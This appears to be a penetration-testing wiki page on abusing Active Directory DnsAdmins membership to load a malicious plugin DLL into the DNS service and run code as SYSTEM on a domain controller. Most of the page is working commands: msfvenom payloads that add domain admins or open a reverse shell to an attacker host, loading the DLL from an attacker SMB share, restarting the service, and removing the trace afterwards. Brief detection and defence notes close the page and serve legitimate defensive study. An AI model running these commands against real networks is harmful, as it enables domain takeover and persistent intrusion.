DnsAdmins Abuse (ServerLevelPluginDll)

The DnsAdmins group looks harmless, but belonging to it lets you run code as SYSTEM on the DNS server, which in most domains is the domain controller itself. It is one of the most rewarding privileged-group abuses in Active Directory.

What it is based on. The Windows DNS service management exposes the ServerLevelPluginDll option: a plugin DLL the service loads at startup. A DnsAdmins member can point that option at an arbitrary DLL (even on a remote SMB share); when the service restarts, its DllMain runs with the service's privileges, i.e. SYSTEM.

How it is executed. Generate a DLL with the desired action, set the plugin to point at it, and restart the DNS service.

Generate the DLL

# Add the user to Domain Admins
msfvenom -p windows/x64/exec cmd='net group "Domain Admins" <user> /add /domain' -f dll -o evil.dll
# Add a brand-new local administrator
msfvenom -p windows/x64/exec cmd='net user pwn Passw0rd123! /add /domain && net group "Domain Admins" pwn /add /domain' -f dll -o evil.dll
# Reverse shell as SYSTEM
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f dll -o evil.dll

mimikatz's mimilib.dll (meant to log every DNS query) can also be reused.

Set the plugin and restart

The DLL can live on an attacker SMB share or be uploaded to the DC itself. Three ways to set the value:

# With dnscmd (RSAT), remote or local
dnscmd <DC> /config /serverlevelplugindll \\<lhost>\share\evil.dll
dnscmd 127.0.0.1 /config /serverlevelplugindll C:\Windows\Temp\evil.dll
# Directly in the registry
reg add "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /t REG_SZ /d C:\Windows\Temp\evil.dll /f
# With PowerShell
Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters" -Name ServerLevelPluginDll -Value C:\Windows\Temp\evil.dll

Restart the service so it loads the DLL (needs SeRestartServicePrivilege or waiting for a reboot):

sc.exe \\<DC> stop dns; sc.exe \\<DC> start dns
Restart-Service DNS -Force

Verify and clean up

dnscmd <DC> /info /serverlevelplugindll
Get-DnsServerSetting -All | Select-Object ServerLevelPluginDll
# Delete the value so the DLL is not left loading persistently
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll /f

Requirements. Membership of DnsAdmins and the ability to restart the DNS service (with SeRestartServicePrivilege or by waiting for a reboot). After execution it is wise to clear the plugin value so the DLL is not left loading persistently.

How to detect it. Audit writes to the ServerLevelPluginDll registry value in HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters (Event ID 4657, a registry value was modified), DNS service restarts (Event ID 7036), and the loading of an unsigned DLL by dns.exe. Any change to DnsAdmins membership (4728/4732) should be reviewed.

Defence. Treat DnsAdmins as a Tier-0 group (equivalent to Domain Admins), keep its membership to a minimum, and monitor the ServerLevelPluginDll value. Related to other privileged permission and group abuses and to PrintNightmare, which also loads a DLL as SYSTEM on the DC.